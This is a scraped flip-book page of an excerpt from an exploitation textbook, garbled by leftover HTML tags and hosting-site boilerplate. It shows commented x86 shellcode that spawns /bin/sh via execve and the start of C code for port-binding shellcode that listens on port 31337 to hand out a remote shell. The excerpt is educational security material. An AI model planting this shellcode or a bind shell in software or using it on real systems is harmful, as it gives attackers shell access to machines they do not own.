26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

push BYTE 11<br />

pop eax<br />

push ecx<br />

push 0x68732f2f<br />

push 0x6e69622f<br />

mov ebx, esp<br />

push ecx<br />

mov edx, esp<br />

push ebx<br />

mov ecx, esp<br />

int 0x80<br />

; push 11 to <strong>the</strong> stack.<br />

; pop <strong>the</strong> dword <strong>of</strong> 11 into eax.<br />

; push some nulls for string termination.<br />

; push "//sh" to <strong>the</strong> stack.<br />

; push "/bin" to <strong>the</strong> stack.<br />

; Put <strong>the</strong> address <strong>of</strong> "/bin//sh" into ebx via esp.<br />

; push 32-bit null terminator to stack.<br />

; This is an empty array for envp.<br />

; push string addr to stack above null terminator.<br />

; This is <strong>the</strong> argv array with string ptr.<br />

; execve("/bin//sh", ["/bin//sh", NULL], [NULL])<br />

The syntax for pushing a single byte requires <strong>the</strong> size to be declared.<br />

Valid sizes are BYTE for one byte, WORD for two bytes, and DWORD for four bytes.<br />

These sizes can be implied from register widths, so moving into <strong>the</strong> AL<br />

register implies <strong>the</strong> BYTE size. While it’s not necessary to use a size in all<br />

situations, it doesn’t hurt and can help readability.<br />

0x540<br />

Port-Binding Shellcode<br />

When exploiting a remote program, <strong>the</strong> shellcode we’ve designed so far won’t<br />

work. The injected shellcode needs to communicate over <strong>the</strong> network to<br />

deliver an interactive root prompt. Port-binding shellcode will bind <strong>the</strong> shell<br />

to a network port where it listens for incoming connections. In <strong>the</strong> previous<br />

chapter, we used this kind <strong>of</strong> shellcode to exploit <strong>the</strong> tinyweb server. The<br />

following C code binds to port 31337 and listens for a TCP connection.<br />

bind_port.c<br />

#include <br />

#include <br />

#include <br />

#include <br />

#include <br />

int main(void) {<br />

int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd<br />

struct sockaddr_in host_addr, client_addr; // My address information<br />

socklen_t sin_size;<br />

int yes=1;<br />

sockfd = socket(PF_INET, SOCK_STREAM, 0);<br />

host_addr.sin_family = AF_INET; // Host byte order<br />

host_addr.sin_port = htons(31337); // Short, network byte order<br />

host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.<br />

memset(&(host_addr.sin_zero), '\0', 8); // Zero <strong>the</strong> rest <strong>of</strong> <strong>the</strong> struct.<br />

bind(sockfd, (struct sockaddr *)&host_addr, size<strong>of</strong>(struct sockaddr));<br />

listen(sockfd, 4);<br />

Shellcode 303

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!